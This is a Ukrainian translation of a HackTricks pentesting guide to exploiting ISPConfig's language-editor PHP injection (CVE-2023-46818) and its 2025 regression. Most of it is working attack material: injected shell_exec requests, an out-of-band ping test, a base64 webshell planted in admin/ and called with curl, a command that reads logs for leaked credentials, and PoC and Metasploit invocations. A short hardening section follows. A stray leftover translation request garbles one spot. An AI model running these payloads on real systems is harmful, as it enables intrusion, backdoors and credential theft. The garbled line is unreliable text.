ISPConfig

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Огляд

ISPConfig — відкрита (open-source) панель для керування хостингом. У старіших збірках 3.2.x була функція редактора мовних файлів, яка при увімкненні для суперадміністатора дозволяла довільну інʼєкцію PHP-коду через пошкоджений запис перекладу. Це може призвести до RCE у контексті веб-сервера і, залежно від способу виконання PHP, до підвищення привілеїв.

Ключові стандартні шляхи:

  • Веб-корінь часто знаходиться в /var/www/ispconfig, коли сервіс працює через php -S або через Apache/nginx.
  • Admin UI доступний на HTTP(S) vhost (іноді прив’язаний лише до localhost; за потреби використайте SSH port-forward).

Порада: Якщо панель прив’язана локально (наприклад, 127.0.0.1:8080), використайте SSH port-forward:

ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001

Редактор мов PHP code injection (CVE-2023-46818)

  • Вразливе: ISPConfig до 3.2.11 (виправлено в 3.2.11p1)
  • Передумови:
  • Увійти як вбудований обліковий запис superadmin admin (згідно з постачальником інші ролі не зачіпаються)
  • Редактор мов має бути увімкненим: admin_allow_langedit=yes в /usr/local/ispconfig/security/security_settings.ini
  • Наслідок: Авторизований адміністратор може інжектувати довільний PHP, який записується у мовний файл і виконується додатком, що дозволяє досягти RCE у веб-контексті

References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below.

Ручний процес експлуатації

  1. Відкрийте/створіть мовний файл, щоб отримати CSRF токени

Відправте перший POST, щоб ініціалізувати форму та розпарсити поля CSRF з HTML-відповіді (csrf_id, csrf_key). Приклад шляху запиту: /admin/language_edit.php.

  1. Інжектування PHP через records[] і збереження

Надішліть другий POST, що містить поля CSRF та зловмисний запис перекладу. Мінімальні перевірки виконання команд:

POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...

lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>

Поза-канальний тест (спостереження ICMP):

records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
  1. Запис файлів і розміщення webshell

Використайте file_put_contents, щоб створити файл у веб-доступному шляху (наприклад, admin/):

records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>

Потім напишіть простий webshell, використовуючи base64, щоб уникнути небажаних символів у POST body:

records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>

Будь ласка, вставте вміст файлу src/network-services-pentesting/pentesting-web/ispconfig.md, який потрібно перекласти.

curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'

Якщо PHP запускається від root (наприклад, через php -S 127.0.0.1:8080, запущений від root), це дає миттєве root RCE. В іншому випадку ви отримуєте виконання коду від імені користувача веб-сервера.

2025 регресія (ISPConfig 3.3.0 / 3.3.0p1)

Помилка редактора мови знову з’явилася в 3.3.0/3.3.0p1 і була виправлена в 3.3.0p2. Передумови незмінні (admin_allow_langedit та вхід як admin). Той самий патч також усунув XSS у моніторі та проблему world-readable rotated logs.

Примітки:

  • У 3.3.0/3.3.0p1 world-readable rotated logs у /usr/local/ispconfig/interface/log/ можуть leak облікові дані, якщо було увімкнено debug logging:
find /usr/local/ispconfig/interface/log -type f -perm -004 -name '*.gz' -exec zcat {} + | head
  • Кроки експлойту відповідають CVE-2023-46818; у 3.3.0p2 додано додаткові перевірки перед редагуванням мови.

Python PoC

Готовий до використання експлойт автоматизує token handling та payload delivery:

Приклад запуску:

python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>

Metasploit module (випущено в липні 2025)

Rapid7 додали exploit/linux/http/ispconfig_lang_edit_php_code_injection, який може автоматично увімкнути admin_allow_langedit, якщо наданий admin account має права system-config.

use exploit/linux/http/ispconfig_lang_edit_php_code_injection
set RHOSTS 10.10.10.50
set RPORT 8080
set USERNAME admin
set PASSWORD <admin_pass>
set TARGETURI /
run

Модуль записує payload, закодований у base64, через records[] і виконує його, надаючи PHP Meterpreter або власний payload.

Посилення безпеки

  • Оновіть до 3.2.11p1 або пізнішої версії для початкової проблеми, та до 3.3.0p2 або пізнішої для регресії 2025 року.
  • Вимкніть редактор мов, якщо це не вкрай необхідно:
admin_allow_langedit=no
  • Уникайте запуску панелі від імені root; налаштуйте PHP-FPM або веб-сервер так, щоб вони скидали привілеї
  • Забезпечте сильну автентифікацію для вбудованого облікового запису admin

Посилання

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks